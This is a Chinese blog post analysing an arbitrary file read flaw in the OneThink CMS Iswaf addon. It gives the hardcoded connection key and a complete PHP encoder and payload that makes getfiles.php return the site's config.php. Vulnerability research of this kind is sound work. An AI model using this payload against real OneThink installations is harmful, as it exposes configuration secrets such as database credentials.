前言
onethink下载地址
https://github.com/liu21st/onethink
前几天有看到文章对 onethink 进行了分析,发现有点儿意思的任意文件读取,所以对这个漏洞进行一次分析。
利用 phpstudy 来搭建环境 https://github.com/liu21st/onethink
任意文件读取
搭建环境成功之后全局搜索call_user_func_arry
注意到 onethink-master/wwwroot/Addons/Iswaf/iswaf/iswaf.php
中 execute 中的 call_user_func_arry
**
iswaf::execute
寻找调用 iswaf::execute 方法的位置
可控参数存在于 iswaf::runapi
iswaf::runapi 会在 iswaf::init 被调用
iswaf::init 会在访问时就会被触发,所以访问 iswaf.php 就可以触发函数 runapi
runapi 通过 POST 的方式接受了三个参数 action、args、key
首先对 key 的值进行了校验 key 的 值应为固定值 md5(5a17847748477a665e322c45a62ac51f) = 9fe5a371c4604cc90b29da182ada38b3
满足条件之后进入 if 语句,发现对传入的 args 进行了加密以及反序列化的操作,所以我们构造这样的代码来控制 args 的输入。
```
<?php
define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f');
$data = serialize( "agrs=1");
$data = authcode($data,"ENCODE");
echo $data;
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : iswaf_connenct_key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
```
此时的 function 和 args 都可控了,我们就跟进函数 execute 继续分析
我们发现可以调用包含的函数仅仅只能存在于目录 apis
下
在文件 onethink-master/wwwroot/Addons/Iswaf/iswaf/apis/getfiles.php 中
可以看到可以实现任意文件读取
构造 payload 并进行 url 编码
<?php
define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f');
$array[]=array("F://Tools//phpstudy_pro//WWW//onethink-master//onethink-master//wwwroot//Application//Common//Conf//config.php");
$data = serialize($array);
$data = authcode($data,"ENCODE");
echo $data;
?>
相关推荐: 将JavaScript隐藏到PNG图片中来绕过CSP
译文来源:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/。受个人知识所限及偏见影响,部分内容可能存在过度曲解或误解,望师傅们包含并提出建议,感激。 序言 将一个恶意的JavaScrip…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论